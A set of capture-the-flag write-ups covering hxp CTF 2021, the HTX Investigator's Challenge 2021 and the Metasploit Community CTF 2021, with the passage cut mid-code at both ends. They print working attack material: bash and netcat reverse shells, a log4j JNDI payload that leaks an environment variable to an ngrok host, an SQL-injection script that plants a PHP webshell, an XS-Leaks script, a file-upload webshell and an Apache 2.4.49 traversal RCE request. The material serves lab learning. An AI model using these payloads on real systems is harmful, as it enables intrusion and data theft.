Content-Disposition: form-data; name="file"; filename="socengexp.p./y"
Content-Type: text/x-python-script

import os

os.system('bash -c "bash -i >& /dev/tcp/2.tcp.ngrok.io/15273 0>&1"')
```

This allows us to get a reverse shell.

```
www-data@48b6db5957ed:/$ cat flag
cat flag
TetCTF{65e95f4eacc1fe7010616e051f1c610a}
```


# hxp CTF 2021

| Challenge                                 | Category | Points |
| ----------------------------------------- | -------- | ------ |
| [Log 4 Sanity Check](#log-4-sanity-check) | Misc     |        |
| [Shitty Blog](#shitty-blog)               | Web      |        |

## Log 4 Sanity Check

{% file src="/files/Anc9eh064ZjQbbQTSPr3" %}

We could see that the vulnerable `log4j` library is used to log the user input when it is "wrong".

```java
/* Decompiler 2ms, total 1137ms, lines 28 */
import java.util.Scanner;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Vuln {
   public static void main(String[] var0) {
      try {
         Logger var1 = LogManager.getLogger(Vuln.class);
         System.out.println("What is your favourite CTF?");
         String var2 = (new Scanner(System.in)).next();
         if (var2.toLowerCase().contains("dragon")) {
            System.out.println("<3");
            System.exit(0);
         }

         if (var2.toLowerCase().contains("hxp")) {
            System.out.println(":)");
         } else {
            System.out.println(":(");
            var1.error("Wrong answer: {}", var2);
         }
      } catch (Exception var3) {
         System.err.println(var3);
      }

   }
}
```

I wasn't able to get full-on RCE, but information disclosure through [this vector](https://twitter.com/Rayhan0x01/status/1469571563674505217) was sufficient! We could use `${env:FOO}` to substitute the `FOO` environment variable into the URI.

```
$ ~ nc 65.108.176.77 1337
What is your favourite CTF?
${jndi:ldap://8.tcp.ngrok.io:16804/${env:FLAG}}
:(
```

We just have to start an LDAP server and listen for the queried URI.

`hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}`

## Shitty Blog

{% file src="/files/BR36xhVvgfcLkoJXWm2K" %}

We could see that when inserting entries, the `user_id` is not validated. This is also directly substituted into the SQL query, allowing an SQL injection.

Interestingly, `get_user` uses `$db->query`, while `delete_entry` uses `$db->exec`. The `exec()` function allows multiline (stacked) queries, allowing us to use [this RCE payload](https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/) to upload a webshell.

```php
function get_user($db, $user_id) : string {
    foreach($db->query("SELECT name FROM user WHERE id = {$user_id}") as $user) {
        return $user['name'];
    }
    return 'me';
}

...

function delete_entry($db, $entry_id, $user_id) {
    $db->exec("DELETE from entry WHERE {$user_id} <> 0 AND id = {$entry_id}");
}

...

if(isset($_POST['content'])) {
    insert_entry($db, htmlspecialchars($_POST['content']), $id);

    header('Location: /');
    exit;
}

$entries = get_entries($db);

if(isset($_POST['delete'])) {
    foreach($entries as $key => $entry) {
        if($_POST['delete'] === $entry['id']){
            delete_entry($db, $entry['id'], $entry['user_id']);
            break;
        }
    }

    header('Location: /');
    exit;
}
```

The difficulty lies in bypassing the following validation to insert a custom `$id` from the `session` cookie.

```php
$secret = 'SECRET_PLACEHOLDER';
$salt = '$6$'.substr(hash_hmac('md5', $_SERVER['REMOTE_ADDR'], $secret), 16).'$';

if(! isset($_COOKIE['session'])){
    $id = random_int(1, PHP_INT_MAX);
    $mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
}
else {
    $session = explode('|', $_COOKIE['session']);
    if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
        exit();
    }
    $id = $session[0];
    $mac = $session[1];
}
```

Notice that in `hash_hmac()`, `binary=true` is set but `crypt()` is [not binary safe](https://www.reddit.com/r/PHP/comments/t0qzl/is_this_a_bug_shouldnt_crypt_be_binary_safe/) - the function only processes the input string up to a null byte terminator!

It would therefore be trivial to find two `$id` numbers that produce the same `$mac` by bruteforcing - this happens when `hash_hmac()` returns a result starting with `\x00`.

```python
def find_collision():
    """
    Find an instance where two IDs produce '\x00' at the beginning of the hash_hmac() output,
    resulting in crypt(), which is a non binary safe function, returning the same value.

    Returns the MAC that corresponds to this result.
    """
    results = {}

    while True:
        r = requests.get(URL)
        cookie = r.headers['Set-Cookie'].split('=')[1]
        cookie = urllib.parse.unquote(cookie)

        id, mac = cookie.split('|')
        print(id, mac)
        
        if mac in results:
            return mac

        results[mac] = id
```

Since this `$mac` corresponds to the case where `hash_hmac()` returns a result starting with `\x00`, we would be able to bypass the following validation by using this `$mac` value in our session cookie, while changing the `$id` value in our session cookie until its HMAC starts with `\x00`.

```php
hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])
```

This can be done by appending different things to the end of the payload (after an SQL comment) until we get a valid value. This value will produce a `crypt()` result corresponding to the `$mac` found previously.

```python
def find_exploit_collision(exploit, mac):
    """
    Finds a collision with the exploit user ID string. Appends stuff to the back of the string until
    the hash_hmac() output begins with '\x00'.
    """
    i = 0
    exploit = urllib.parse.quote_plus(exploit).replace('+', ' ')
    while True:

        print(i)

        tmp = exploit + str(i)

        # Test if the hash_hmac() output begins with '\x00' (if it does, then the MAC is valid)
        r = requests.get(URL, cookies={'session': tmp + '|' + mac})
        if "My shitty Blog" in r.text:
            return tmp

        i += 1
```

The full script to generate the exploit payload is as follows:

```python
import requests
import urllib.parse

URL = "http://65.108.176.96:8888/"

def find_collision():
    """
    Find an instance where two IDs produce '\x00' at the beginning of the hash_hmac() output,
    resulting in crypt(), which is a non binary safe function, returning the same value.

    Returns the MAC that corresponds to this result.
    """
    results = {}

    while True:
        r = requests.get(URL)
        cookie = r.headers['Set-Cookie'].split('=')[1]
        cookie = urllib.parse.unquote(cookie)

        id, mac = cookie.split('|')
        print(id, mac)
        
        if mac in results:
            return mac

        results[mac] = id

    
def find_exploit_collision(exploit, mac):
    """
    Finds a collision with the exploit user ID string. Appends stuff to the back of the string until
    the hash_hmac() output begins with '\x00'.
    """
    i = 0
    exploit = urllib.parse.quote_plus(exploit).replace('+', ' ')
    while True:

        print(i)

        tmp = exploit + str(i)

        # Test if the hash_hmac() output begins with '\x00' (if it does, then the MAC is valid)
        r = requests.get(URL, cookies={'session': tmp + '|' + mac})
        if "My shitty Blog" in r.text:
            return tmp

        i += 1


# mac = find_collision()
mac = "QAhL.MoHxwRM3Bt/pMvSrjxnRCAxaim7VAtMVwCnNgsjtlWO3AKBcd1WY9NYPrxtUrTluTorPK4laJKcJydWB0"
print(f"Found MAC: {mac}")

exploit = find_exploit_collision("20 or 1=1; ATTACH DATABASE '/var/www/html/data/nice.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET[\"cmd\"]); ?>');#", mac)
print(f"Found exploit: {exploit}")

print(f"Set session cookie: {exploit}|{mac}")
```

Once we obtain the payload, we first have to create an entry with the malicious user ID payload.

```http
POST / HTTP/1.1
Host: 65.108.176.96
Cookie: session=20 or 1%3D1%3B ATTACH DATABASE %27%2Fvar%2Fwww%2Fhtml%2Fdata%2Fnice.php%27 AS lol%3B CREATE TABLE lol.pwn %28dataz text%29%3B INSERT INTO lol.pwn %28dataz%29 VALUES %28%27%3C%3Fphp system%28%24_GET%5B%22cmd%22%5D%29%3B %3F%3E%27%29%3B%23178|QAhL.MoHxwRM3Bt/pMvSrjxnRCAxaim7VAtMVwCnNgsjtlWO3AKBcd1WY9NYPrxtUrTluTorPK4laJKcJydWB0
Connection: close
Content-Length: 12

content=test
```

Next, we simply delete the created entry. This is when the user ID payload is substituted into the SQL query, causing a PHP file to be created.

```http
POST / HTTP/1.1
Host: 65.108.176.96
Cookie: session=20 or 1%3D1%3B ATTACH DATABASE %27%2Fvar%2Fwww%2Fhtml%2Fdata%2Fnice.php%27 AS lol%3B CREATE TABLE lol.pwn %28dataz text%29%3B INSERT INTO lol.pwn %28dataz%29 VALUES %28%27%3C%3Fphp system%28%24_GET%5B%22cmd%22%5D%29%3B %3F%3E%27%29%3B%23178|QAhL.MoHxwRM3Bt/pMvSrjxnRCAxaim7VAtMVwCnNgsjtlWO3AKBcd1WY9NYPrxtUrTluTorPK4laJKcJydWB0
Connection: close
Content-Length: 12

content=test
```

Next, we simply have to visit our webshell to get the flag.

```http
GET /data/nice.php?cmd=/readflag HTTP/1.1
Host: 65.108.176.96:8888
Cookie: session=20 or 1%3D1%3B ATTACH DATABASE %27%2Fvar%2Fwww%2Fhtml%2Fdata%2Fnice.php%27 AS lol%3B CREATE TABLE lol.pwn %28dataz text%29%3B INSERT INTO lol.pwn %28dataz%29 VALUES %28%27%3C%3Fphp system%28%24_GET%5B%22cmd%22%5D%29%3B %3F%3E%27%29%3B%23598|dW8W.oyZd9VSfcnVaiWE2c8pYNHaOyXhBIzpXc2TTCPlPzvRdcHvMA8..6O2AftmrQYa287BZgFsLd9/Ki0ik/
Connection: close
```

`hxp{dynamically_typed_statically_typed_php_c_I_hate_you_all_equally__at_least_its_not_node_lol_:(}`


# HTX Investigator's Challenge 2021

## Introduction

The HTX Investigator's Challenge is a Singaporean CTF competition hosted by the Home Team Science and Technology Agency (HTX).

The event ran for 12 hours from 8am to 8pm on 20 December 2021, and included various cybersecurity challenges.

## Results

### TL;DR

My team, Social Engineering Experts, **topped the scoreboard**, with a total of 43,380 points.

![](/files/yAdwckEHRJtZ0Jg8hZCQ)

### The Long Story

We didn't qualify for the prizes due to eligibility criteria. **The official champions for the HTXIC 2021 are the good folks from T0X1C V4P0R.**

Since this has already sent some shockwaves in the local CTF community, and will inevitably lead to more questions in the next few days, I thought I'd spend some time writing about the situation and addressing some anticipated questions.

The eligibility criteria for the HTXIC challenge are as follows.

![](/files/cRNmdvZxxW2A0zXhxNO8)

The team comprised of 5 members currently serving our National Service (NS) with the army, and all of us were Junior College (JC) graduates.

We were not 100% sure whether Institutes of Higher Learning included Junior Colleges, and seeing our friends who are also currently serving NS - but having graduated from polytechnics - signing up, we were eager to participate as well.

We decided to put in our registration regardless, declaring our JCs and year of graduation (2019) in the registration form, with the assumption that the shortlisting process would take the eligibility criteria into consideration.

Post-CTF, we found out that we were ineligible for the challenge. However, the organizers have allowed us to claim that we emerged **"top of the scoreboard"**.

![](/files/AGPRq4O6PDAcaQCxl6PM)

### Personal Thoughts

Overall, we did have fun with HTXIC. The people we met at HTX have been nothing but nice to us and were receptive to our feedback.

We mentioned that we would love to see more local CTFs that cater to NSFs like us, and hope that future CTFs could consider this.

## Writeups

I've added brief writeups for some challenges.

* [SecureBank XSS Search](https://github.com/zeyu2001/CTFs/blob/master/2021/broken-reference/README.md)
* [Chained Web Challenges (SQLi, RCE)](#chained-web-challenges-sqli-rce)
* [Revo Web App](#revo-web-app)
* [Web 101](#web-101)
* [Find the Malicious Attacks by Revo Force](#find-the-malicious-attacks-by-revo-force)
* [Identifying the High-Risk Individuals](#identifying-high-risk-individuals)
* [c0deD ME5sages](#c0ded-me5sages)

### SecureBank XSS Search

This challenge required us to find out the account balance of the admin.

Looking carefully at the responses received from the web application, we would realise that the `/checkbalance` endpoint is vulnerable to a class of vulnerabilities known as [XS Leaks](https://xsleaks.dev).

If the queried amount is more than the actual balance in the user's account, the user is redirected. Otherwise, no redirection occurs. It would be possible to get the length of the window's history to check whether this redirection is occurred, allowing us to perform an "XS Search" on the user's account balance.

To obey the Same Origin Policy (SOP), we would need to do the following:

1. From the exploit server, open `http://10.8.201.87:5000/checkbalance?amount=${num}` as a new window.
2. Wait for the site to load. Depending on the balance, the window may be redirected to `/`.
3. Change the window's location back to the exploit server, so that both the original and new windows are of the same origin
4. We can now check the window's `history.length` attribute to determine if a redirect occurred in step 2.

After some trial and error, here's my final script.

```markup
<html>
    <body>
        <script>

            const sleep = (ms) => {
                return new Promise(resolve => setTimeout(resolve, ms));
            }

            const tryNumber = async (num) => {

                let opened = window.open(`http://10.8.201.87:5000/checkbalance?amount=${num}`);
                await sleep(2000);
                opened.location = "http://24cf-115-66-128-224.ngrok.io/nothing.txt";
                await sleep(2000);
                console.log(opened.history.length)
                if (opened.history.length === 3) {
                    return [false, num];
                }
                else {
                    return [true, num];
                }
            }

            (async () => {
                for (let i = 97280; i <= 97290; i+=1) {
                    tryNumber(i).then(res => {
                        let [success, guess] = res;
                        console.log(guess, success);
                        if (success === true) {fetch("http://24cf-115-66-128-224.ngrok.io/" + `${guess}`)}
                    })
                }
            })();
        </script>
    </body>
</html>
```

On line 25, I started with larger intervals, then slowly narrowed down the exact value by decreasing the interval range.

### Chained Web Challenges (SQLi, RCE)

The Tenant and Management login pages were both vulnerable to SQL injection.

Using SQLMap, we could dump the users table in the database.

```
+-----+----------------+---------+------------+----------------+
| id  | name           | role    | password   | username       |
+-----+----------------+---------+------------+----------------+
| 100 | theadmin       | admin   | madeira101 | theadmin       |
| 200 | ahhong         | manager | manager101 | MANAGER        |
| 300 | HTX{Admin_101} | vendor  | vendor101  | HTX{Admin_101} |
+-----+----------------+---------+------------+----------------+
```

Taking a closer look at the users, we could see that each one has a different role. Logging in as different users allows us to perform various actions. As the vendor user, we have the ability to add to the food listing.

This allows us to upload an image, and the validation for this is flawed. It seemed to be checking for the existence of the `.jpg` extension, but using `.jpg.php` passes this check and allows us to upload a PHP webshell that we can access at `http://10.8.201.87/HTXIC/vendor/images/`.

```http
POST /HTXIC/vendor/doaddFoods.php HTTP/1.1
Host: 10.8.201.87
Content-Length: 504
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTeHcGQrvcC6GYyC2
Cookie: PHPSESSID=6co2q20vqh580a4uae4gpq3grl
Connection: close

------WebKitFormBoundaryTeHcGQrvcC6GYyC2
Content-Disposition: form-data; name="name"


------WebKitFormBoundaryTeHcGQrvcC6GYyC2
Content-Disposition: form-data; name="price"


------WebKitFormBoundaryTeHcGQrvcC6GYyC2
Content-Disposition: form-data; name="description"


------WebKitFormBoundaryTeHcGQrvcC6GYyC2
Content-Disposition: form-data; name="image"; filename="pwned.jpg.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryTeHcGQrvcC6GYyC2--
```

Using a PHP reverse shell payload, we were able to get a bash shell into the system.

```php
$sock=fsockopen("LHOST", LPORT);
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
```

The `systemctl` binary had the SUID bit set, allowing us to escalate to root privileges by [creating a service](https://gtfobins.github.io/gtfobins/systemctl/).

### Revo Web App

Performing a directory scan reveals that there is a `/cmd.php` endpoint.

This seems to allow us to perform command injection, but there appears to be a blacklist filter. Fortunately, the `cat cmd.php` command works, allowing us to view the blacklist.

```php
<?php
  function test_input($data) {
    $str1 = "%44";
    $data2 = append_string ($str1, $data);
    return $data2;
  }
  
  function display()
  {
    $bl = array("/",";","@","\","\/\/");
    $input = $_POST["cmd"];
    $input = str_replace($bl, "", $input);
    $bl2 = array("curl","shutdown","init","systemctl","ps","ls","etc");
    $input = str_replace($bl2, "", $input);
    $output = shell_exec($input);
    echo $output;
  }
  if(isset($_POST['submit']))
  {
    display();
  } 
 ?>
```

To overcome the blacklist, we used a base64-encoded payload, which is then decoded by Python on the server.

```python
import base64

PAYLOAD = b"cat /home/bobby/flag.txt"

encoded = base64.b64encode(PAYLOAD)
print(encoded)

command = "python3 -c '__import__(\"os\").system((__import__(\"base64\").b64decode(\"" + encoded.decode() + "\")))'"
print(command)
```

### Web 101

There is a blacklist filter for `#` and `=`. Using `test' or 1-- -` gives us account credentials, but logging in with these does not give us the flag.

We could use a `UNION` based injection to dump the database and get the flag.

`username=test' or 1 UNION SELECT *, null from flag-- -&password=test' or 1 UNION SELECT *, null from flag-- -`

### Find the Malicious Attacks by Revo Force

We were given CSV files containing network traffic data, as well as a shapefile containing cameras in Singapore. We are tasked to find where most of the attacks are originating from, and the number of cameras within a 1.3km radius.

First, we obtain the most common `src_ip`, and find its corresponding latitude and longitude.

```python
import os, csv

SRC_IP_COL = 9
LABEL_COL = 14

files = [x for x in os.listdir() if x.endswith('.csv')]
results = {}

for file in files:
    with open(file, newline='') as csvfile:
        reader = csv.reader(csvfile, delimiter=',', quotechar='"')
        for row in reader:
            src_ip, label = row[SRC_IP_COL], row[LABEL_COL]
            # print(src_ip, label)

            if label == 'malicious':
                print(file)
                if src_ip in results:
                    results[src_ip] += 1
                else:
                    results[src_ip] = 1

print(results)
print(max(results.items(), key=lambda x: x[1]))
```

After, we can parse the shapefile using geopandas, and use the [haversine formula](https://en.wikipedia.org/wiki/Haversine_formula) to determine the great-circle distance between each camera and the `src_ip` location based on the latitude and longitudes.

```python
import geopandas as gpd
from math import radians, cos, sin, asin, sqrt


def haversine(lon1, lat1, lon2, lat2):
    """
    Calculate the great circle distance between two points 
    on the earth (specified in decimal degrees)
    """
    # convert decimal degrees to radians 
    lon1, lat1, lon2, lat2 = map(radians, [lon1, lat1, lon2, lat2])

    # haversine formula 
    dlon = lon2 - lon1 
    dlat = lat2 - lat1 
    a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2
    c = 2 * asin(sqrt(a)) 
    r = 6371 # Radius of earth in kilometers. Use 3956 for miles
    return c * r


LAT = 1.327187
LONG = 103.946316
RADIUS = 1.3

shapefile = gpd.read_file("SPF_DTRLS.shp")
print(shapefile)

count = 0
for row in shapefile.itertuples():
    lat2, long2 = row.LATITUDE, row.LONGITUDE
    a = haversine(LONG, LAT, long2, lat2)

    print('Distance (km) : ', a)
    if a <= RADIUS:
        count += 1

print(count)
```

### Identifying High-Risk Individuals

> You are given a dataset consisting the basic information of a list of individuals (refer to DATABASE\_FINAL). Some of these individuals have been identified to participate in terrorism related activities.
>
> Using the dataset, fit a model identifying FINAL\_OUTCOME =1 using all the variables (refer to variable list). Using the fitted model, apply it on the list of Grand Prix participants to screen out the top **5** individuals who are likely to participate in terrorism related activities based on the highest probabilities score (refer to GRAND\_PRIX\_DATA).

I initially tried to train my own model from scratch, but I realised that the fitted model coefficients were already given to us. (what was the point of the training data then?)

![](/files/looLrAWKl3XZq3EHjDSr)

We could thus simply create a simple linear regression model:

$$
y=\beta\_0+\beta\_1X\_1+\beta\_2X\_2+...+\beta\_nX\_n
$$

Prepare for some ugly hardcoding...

```python
INTERCEPT = 2.4172534

def predict(row):
    score = INTERCEPT
    score += -0.0520673 * row.AGE
    score += -0.0005561 * row.DISTANCE_FROM_CENTRAL
    
    if row.HAIR_COLOUR == 1:
        score += -1.02074
    elif row.HAIR_COLOUR == 2:
        score += -1.4958285
    elif row.HAIR_COLOUR == 3:
        score += -0.928573
    elif row.HAIR_COLOUR == 4:
        score += -1.0712868
    elif row.HAIR_COLOUR == 5:
        score += -1.4369646
    elif row.HAIR_COLOUR == 6:
        score += -0.9730892
    
    if row.LEFT_HANDED == 1:
        score += -1.1364604
    
    if row.BIRTH_MONTH == 1:
        score += 0.3812858
    elif row.BIRTH_MONTH == 2:
        score += 0.4879133
    elif row.BIRTH_MONTH  == 3:
        score += -1.0803552
    elif row.BIRTH_MONTH == 4:
        score += -1.0529952
    elif row.BIRTH_MONTH == 5:
        score += -0.5742308
    
    if row.MARITAL == 1:
        score += -0.9297885
    elif row.MARITAL == 2:
        score += -0.2871768
        
    if row.DATABASE == 1:
        score += 1.6900339
        
    return score
```

What's curious though, was that the numerical variables weren't normalized. I initially normalized both the numerical variables, but only after much trial and error did I arrive at the "correct" model.

```python
xl_file = pd.ExcelFile("/kaggle/input/htx-database/GRAND_PRIX_DATA_FINAL_Revised.xlsx")
test = xl_file.parse("Sheet 1")

results = []
for row in test.itertuples():
    results.append((predict(row), row.SERIAL_NO))
    
print(sorted(results, key=lambda x: x[0], reverse=True)[:5])
```

### c0deD ME5sages

We are given the string:

`%109y69&o1#01U11_6(v32%E1,&01^b88E1@05e-1$1!6n32\T1#16!R10%4i&114!c69.K_1!01~e*@d`

Extracting only alphabetical characters yields `yoUvEbEenTRicKed`. However, between these letters are numbers that represent ASCII codes.

```python
import string

encoded = "%10*9y69&o1#01U11_6(v32%E1,&01^b88E1@05e-1$1!6n32\T1#16!R10*%4i&114!c69.K_1!01~e*@d"

result = ''
curr_num = ''
for char in encoded:
    if char in string.digits:
        curr_num += char
    
    elif char in string.ascii_letters:
        if curr_num:
            result += chr(int(curr_num))
            curr_num = ''

    print(result)
```

The decoded message is `mEet eXit thrEe`.


# Metasploit Community CTF

Hosted by Rapid7 from 4 Dec to 7 Dec 2021

## Results

We placed 7th - managed to solve all but one challenge!

The organizers wrote a nice summary of the CTF [here](https://www.rapid7.com/blog/post/2021/12/06/congrats-to-the-winners-of-the-2021-metasploit-community-ctf/).

![](/files/xYLIV8RMh4vimkTrudSq)

## Writeups

Since this year's challenges were sorted by difficulty (the higher the port number, the harder the challenge), I'll also sort my writeups by port number.

I only included writeups for challenges that I solved - the rest were solved by my teammates!

| Card                                                           | Category          | Port         |
| -------------------------------------------------------------- | ----------------- | ------------ |
| [9 of Diamonds](#port-8080-web)                                | Web               | 8080         |
| [4 of Diamonds](#port-10010-web)                               | Web               | 10010        |
| [5 of Diamonds](#port-11111-web)                               | Web               | 11111        |
| [10 of Clubs](#port-12380-web)                                 | Web               | 12380        |
| [5 of Clubs](#port-15000-pwn)                                  | Pwn               | 15000        |
| [4 of Clubs](#port-15010-web)                                  | Web               | 15010        |
| [2 of Clubs, Black Joker](#port-20000-20001-network-forensics) | Network Forensics | 20000, 20001 |
| [Ace of Hearts](#port-20001-web)                               | Web               | 20011        |
| [9 of Spades](#port-20055-web)                                 | Web               | 20055        |
| [8 of Clubs](#port-20123-crypto)                               | Crypto            | 20123        |
| [3 of Hearts](#port-33337-web)                                 | Web               | 33337        |
| [Ace of Diamonds](#port-35000-network-forensics)               | Network Forensics | 35000        |

### Port 8080 \[Web]

This was a simple cookie manipulation challenge. Cookies are set at every stage of authentication, and the following cookies grant us access to `/admin`.

```
Cookie: username=admin; visited-main-page=true; made-an-account=true; authenticated-user=true; admin=true
```

### Port 10010 \[Web]

When we log into the application, we can see the following data in the page source. There seems to be a `role` attribute that we need to change, in order to escalate our privileges.

```markup
<script>
    var current_account = {
    "id":3,
    "username":"username",
    "password":"password",
    "role":"user",
    "created_at":"2021-12-04T05:12:11.986Z",
    "updated_at":"2021-12-04T05:12:11.986Z"};
</script>
```

Taking a closer look at the registration fields, we see that we are submitting an `account` object with the `username` and `password` attributes.

```markup
<div>
  <label for="account_username">Username</label>
  <input type="text" name="account[username]" id="account_username" />
</div>

<div>
  <label for="account_password">Password</label>
  <input type="password" name="account[password]" id="account_password" />
</div>

<div>
  <input type="submit" name="commit" value="Register" class="btn btn-primary" data-disable-with="Register" />
</div>
```

Submitting with `account[role] = admin` changes our `role`, granting us access to `/admin`.

### Port 11111 \[Web]

This was a simple SQL injection in the login. The payload `username=admin&password=' or '1` grants us access.

### Port 12380 \[Web]

Our scan shows that this is a vulnerable version of Apache.

```
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-04 05:02 UTC
Nmap scan report for 172.17.17.69
Host is up (0.00049s latency).

PORT      STATE SERVICE VERSION
12380/tcp open  http    Apache httpd 2.4.49 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.49 (Debian)
```

{% embed url="<https://www.exploit-db.com/exploits/50383>" %}

We can exploit the RCE vulnerability to obtain the contents of the flag.

```http
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Content-Length: 71

echo Content-Type: text/plain; echo; cat /secret/safe/flag.png | base64
```

### Port 15000 \[Pwn]

This was a TCP service that we could interact with via Netcat, and appears to be managing text files.

The "Create" option allows us to create a text file in the format `NAME_SURNAME.txt`. Validation is performed so that both fields are alphanumeric characters only.

The "Delete" option allows us to delete a file, similarly by entering the name and surname. However, after some fuzzing, we found that the surname wasn't properly validated.

```
Input: 4

Deleting a student with the following details:
Student name: 
Student surname: hihi.txt'
Invalid characters entered.

Found student file: _hihi.txt'.txt
Deleting...
Something went wrong! Contact your local administrator.
```

While an error message is shown, the deletion operation seems to have gone through.

After some testing, we found that there was an additional validation for the filename before going ahead with the deletion, but this appears to be insufficient as well, only matching the start of the filename.

For instance, `1_22.txt` matches the created file `1_2.txt`.

I then created the three files below and tested a wildcard in the filename.

```
5. abc abc
6. abc abcabc
7. abc abcdef

...

Found student file: abc_abc*.txt
Deleting...
Completed.
```

Surprisingly, all three files were deleted! It occurred to me that `rm abc_abc*.txt` would have given this result, so we could hypothesise that a command injection could be performed.

```
Input: 4   

Deleting a student with the following details:
Student name: name
Student surname: surname; nc 172.17.17.68 80 -e /bin/sh;
Invalid characters entered.

Found student file: name_surname; nc 172.17.17.68 80 -e /bin/sh;.txt
Deleting...
```

Indeed, we received a shell! From here we can obtain the MD5 of the flag.

```
md5sum /hidden_storage/5_of_clubs.png
0c3c3d0e090f792ba5cedc8a2fe72b36  /hidden_storage/5_of_clubs.png
```

### Port 15010 \[Web]

After registration, we get redirected to `/users/<username>/files`, where we can upload files.

By testing with two accounts, we will also find that username enumeration is possible at `/users/<username>`, since a valid username results in a 403 redirect to our own account, while an invalid username results in a 404 Not Found error.

Performing a username enumeration (using the `dirb` wordlist) yielded the following valid usernames:

* `admin`
* `root`
* `builder`
* `employee`
* `staff`

We will also find that while validation is performed on the `/users/<username>` page, the application does not check whether we are the owner of the file when we request a file at `/users/<username>/files/<filename>`. This constitutes an IDOR vulnerability.

I then scanned each username for potential files, and eventually found `/users/employee/files/fileadmin`, which was the flag.

### Port 20000, 20001 \[Network Forensics]

This was a game called Clicktracer. The client connects to the game server at port 20001, and winning the game gives us flags!

#### Easy Mode

When playing in easy mode, the messages are logged to the console.

![](/files/5YA8yq6S7AIaFxyt8lms)

This was interesting, so I decided to spin up Wireshark to analyse the traffic.

The client-server communication appeared to be simple JSON messages. A client heartbeat is sent periodically to prevent the game from timing out, and the coordinates clicked by the user are sent as well. The server sends the client the coordinates of each target that is created.

![](/files/P0bzKIFkd4C8eKrDL32U)

We could beat the easy mode by implementing a custom client that "clicks" on each target that is received.

```python
from pwn import *
import json

conn = remote('localhost', 20001)
conn.sendline(json.dumps({"StartGame":{"game_mode":"Easy"}}))
conn.sendline(json.dumps({"ClientHeartBeat": {}}))

while True:
    received = conn.recvline().decode()
    received = json.loads(received)
    if 'TargetCreated' in received:
        conn.sendline(json.dumps(
            {"ClientClick": {"x": received['TargetCreated']['x'], "y": received['TargetCreated']['y']}}
        ))
        conn.sendline(json.dumps({"ClientHeartBeat": {}}))

    print(received)
```

When we win the game, we get a URL to download the flag.

#### Hard Mode

This was more complex, but we could still pick up some patterns if we look hard enough.

![](/files/aaNAJMmfSXxPf2nJlIiI)

Some kind of TLV protocol is used, but the general idea remains the same. By capturing the traffic a few times, we can infer the meaning of each field!

The client starts the game with the following bytes. This is observed as the first packet in the capture. Note that the 4th byte is the "command" byte, which indicates which type of message this is. In this message, the command byte is 0x20.

```
00 00 00 20 00 00 00 00  00 00 00 0c 00 02 00 01   ... .... ........
00 00 00 03 00 00 00 0c  00 02 4e 84 00 00 00 03   ........ ..N.....
00 00 00 14 00 00 00 00  00 00 00 0c 00 02 00 01   ........ ........
00 00 00 01 
```

A client heartbeat is periodically sent (command 0x14).

```
00 00 00 14 00 00 00 00  00 00 00 0c 00 02 00 01   ........ ........
00 00 00 01 
```

We could also observe that whenever we make a click, the following message is sent (command 0x2c). The only parts of this message that vary are the 4 bytes indicated by `[ X ]` and `[ Y ]` below - these are the coordinates that we clicked.

```
00 00 00 2c 00 00 00 00  00 00 00 0c 00 02 00 01   ...,.... ........
00 00 00 07 00 00 00 0c  00 02 4e e8 00 00 [ X ]   ........ ..N....j
00 00 00 0c 00 02 4e e9  00 00 [ Y ]               ......N. ....
```

Similarly, the server acknowledges our clicks (with either a target hit or target missed message).

```
00 00 00 2c 00 00 00 00  00 00 00 0c 00 02 00 01   ...,.... ........
00 00 00 0b 00 00 00 0c  00 02 50 14 00 00 [ X ]   ........ ..P.....
00 00 00 0c 00 02 50 15  00 00 [ Y ] 
```

The server sends the next coordinates (command 0x38).

```
00 00 00 38 00 00 00 00  00 00 00 0c 00 02 00 01   ...8.... ........
00 00 00 09 00 00 00 0c  00 02 4f 4c 00 00 00 02   ........ ..OL....
00 00 00 0c 00 02 4f 4d  00 00 [ X ] 00 00 00 0c   ......OM ...Y....
00 02 4f 4e 00 00 [ Y ]
```

We could implement a similar client that solves the hard mode.

```python
from pwn import *
from textwrap import wrap

conn = remote("localhost", 20001)

START_GAME = bytes.fromhex(''.join('00 00 00 20 00 00 00 00  00 00 00 0c 00 02 00 01 00 00 00 03 00 00 00 0c  00 02 4e 84 00 00 00 03 00 00 00 14 00 00 00 00  00 00 00 0c 00 02 00 01 00 00 00 01'.split()))
HEARTBEAT = bytes.fromhex(''.join('00 00 00 14 00 00 00 00  00 00 00 0c 00 02 00 01 00 00 00 01'.split()))

conn.send(START_GAME)
conn.send(HEARTBEAT)

while True:
	received = conn.recv()
	print(received)
	
	received = wrap(received.hex(), 2)
	print(received)
	
	if received[3] == '38':
		x = received[42:44]
		y = received[-2:]
		
		print(x, y)
		conn.send(bytes.fromhex(''.join(f'00 00 00 2c 00 00 00 00  00 00 00 0c 00 02 00 01  00 00 00 07 00 00 00 0c  00 02 4e e8 00 00 {x[0]} {x[1]} 00 00 00 0c 00 02 4e e9  00 00{y[0]} {y[1]}'.split())))
```

### Port 20011 \[Web]

This is an SSRF in the `galleryUrl` parameter. By requesting the `/admin` internally, we gain access to the admin console: `/gallery?galleryUrl=http://localhost:20011/admin`

### Port 20055 \[Web]

This wa PHP file upload challenge. We are provided with the following source code.

```php
<?php
    $storage_dir = "file_uploads/";
    $full_storage_path = $storage_dir . basename($_FILES["fileName"]["name"]);
    $file_ext = pathinfo($full_storage_path, PATHINFO_EXTENSION);
    $file_ext = strtolower($file_ext);
